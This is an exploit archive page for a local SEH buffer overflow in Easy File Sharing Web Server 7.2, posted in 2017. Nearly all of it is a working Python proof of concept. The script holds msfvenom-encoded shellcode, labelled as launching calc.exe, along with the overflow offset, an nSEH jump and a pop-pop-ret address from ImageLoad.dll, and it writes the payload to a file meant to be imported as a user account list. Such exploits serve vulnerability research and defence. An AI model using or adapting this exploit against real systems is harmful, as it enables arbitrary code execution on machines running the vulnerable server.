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Easy File Sharing Web Server 7.2 Account Import Buffer Overflow

Easy File Sharing Web Server 7.2 Account Import Buffer Overflow
Posted Jun 30, 2017
Authored by Chako

Easy File Sharing Web Server version 7.2 suffers from an account import local buffer overflow vulnerability.

tags | exploit, web, overflow, local
MD5 | 3fe8d27b0bff54d459eee1a9037b30f7

Easy File Sharing Web Server 7.2 Account Import Buffer Overflow

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#!/usr/bin/python

##################################
# 2017/6/17 Chako
#
# EFS Web Server 7.2 - Local Buffer Overflow(SEH)
# Tested on: Windows XP SP3 EN (DEP Off)
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
#
# Description:
# When importing a large user account file on to EFS Web Server 7.2
# will trigger the vuln.
##################################

import struct


# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v Shellcode -f python
Shellcode = ""
Shellcode += "\x89\xe5\xdb\xd8\xd9\x75\xf4\x5f\x57\x59\x49\x49"
Shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
Shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
Shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
Shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
Shellcode += "\x59\x6c\x59\x78\x4d\x52\x75\x50\x57\x70\x43\x30"
Shellcode += "\x55\x30\x6d\x59\x4b\x55\x55\x61\x6f\x30\x53\x54"
Shellcode += "\x6e\x6b\x56\x30\x30\x30\x6c\x4b\x53\x62\x44\x4c"
Shellcode += "\x6c\x4b\x36\x32\x72\x34\x4e\x6b\x34\x32\x75\x78"
Shellcode += "\x44\x4f\x6d\x67\x50\x4a\x47\x56\x34\x71\x6b\x4f"
Shellcode += "\x6e\x4c\x37\x4c\x31\x71\x53\x4c\x57\x72\x56\x4c"
Shellcode += "\x55\x70\x7a\x61\x48\x4f\x44\x4d\x73\x31\x78\x47"
Shellcode += "\x39\x72\x39\x62\x63\x62\x71\x47\x4e\x6b\x66\x32"
Shellcode += "\x46\x70\x6c\x4b\x51\x5a\x37\x4c\x4c\x4b\x62\x6c"
Shellcode += "\x46\x71\x53\x48\x58\x63\x32\x68\x57\x71\x38\x51"
Shellcode += "\x70\x51\x6e\x6b\x62\x79\x71\x30\x66\x61\x58\x53"
Shellcode += "\x4e\x6b\x57\x39\x34\x58\x39\x73\x67\x4a\x47\x39"
Shellcode += "\x4c\x4b\x50\x34\x4e\x6b\x36\x61\x39\x46\x45\x61"
Shellcode += "\x6b\x4f\x4c\x6c\x6b\x71\x78\x4f\x66\x6d\x56\x61"
Shellcode += "\x6b\x77\x34\x78\x4b\x50\x74\x35\x6b\x46\x37\x73"
Shellcode += "\x33\x4d\x38\x78\x67\x4b\x43\x4d\x67\x54\x43\x45"
Shellcode += "\x59\x74\x63\x68\x4c\x4b\x70\x58\x46\x44\x67\x71"
Shellcode += "\x6b\x63\x72\x46\x6c\x4b\x34\x4c\x52\x6b\x6c\x4b"
Shellcode += "\x33\x68\x37\x6c\x55\x51\x49\x43\x4c\x4b\x55\x54"
Shellcode += "\x4e\x6b\x63\x31\x6a\x70\x6b\x39\x53\x74\x35\x74"
Shellcode += "\x57\x54\x73\x6b\x61\x4b\x53\x51\x50\x59\x33\x6a"
Shellcode += "\x62\x71\x79\x6f\x4d\x30\x51\x4f\x33\x6f\x33\x6a"
Shellcode += "\x6c\x4b\x37\x62\x5a\x4b\x6c\x4d\x31\x4d\x71\x7a"
Shellcode += "\x57\x71\x4e\x6d\x4f\x75\x6c\x72\x43\x30\x77\x70"
Shellcode += "\x73\x30\x50\x50\x42\x48\x56\x51\x4e\x6b\x52\x4f"
Shellcode += "\x4e\x67\x6b\x4f\x68\x55\x4f\x4b\x48\x70\x6f\x45"
Shellcode += "\x6c\x62\x50\x56\x52\x48\x4d\x76\x4a\x35\x4f\x4d"
Shellcode += "\x6d\x4d\x49\x6f\x58\x55\x55\x6c\x33\x36\x61\x6c"
Shellcode += "\x74\x4a\x6b\x30\x69\x6b\x4d\x30\x74\x35\x54\x45"
Shellcode += "\x4d\x6b\x47\x37\x62\x33\x72\x52\x70\x6f\x32\x4a"
Shellcode += "\x63\x30\x56\x33\x59\x6f\x4e\x35\x33\x53\x63\x51"
Shellcode += "\x52\x4c\x33\x53\x44\x6e\x73\x55\x72\x58\x65\x35"
Shellcode += "\x77\x70\x41\x41"




#SEH record (nseh field) at 0x0012b318 overwritten with normal pattern (offset 2563)
Junk = "\x41" * 2563

nSEH = "\xEB\x0F\x90\x90"

# 0x10012f3b : pop esi # pop ebx # ret | ascii {PAGE_EXECUTE_READ} [ImageLoad.dll]
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = struct.pack("<L", 0x10012f3b)


NOP = "\x90" * 10

BoF = Junk + nSEH + SEH + NOP + Shellcode + NOP


print len(BoF)
f = open ("exploit.txt", "w")
f.write(BoF)
f.close()

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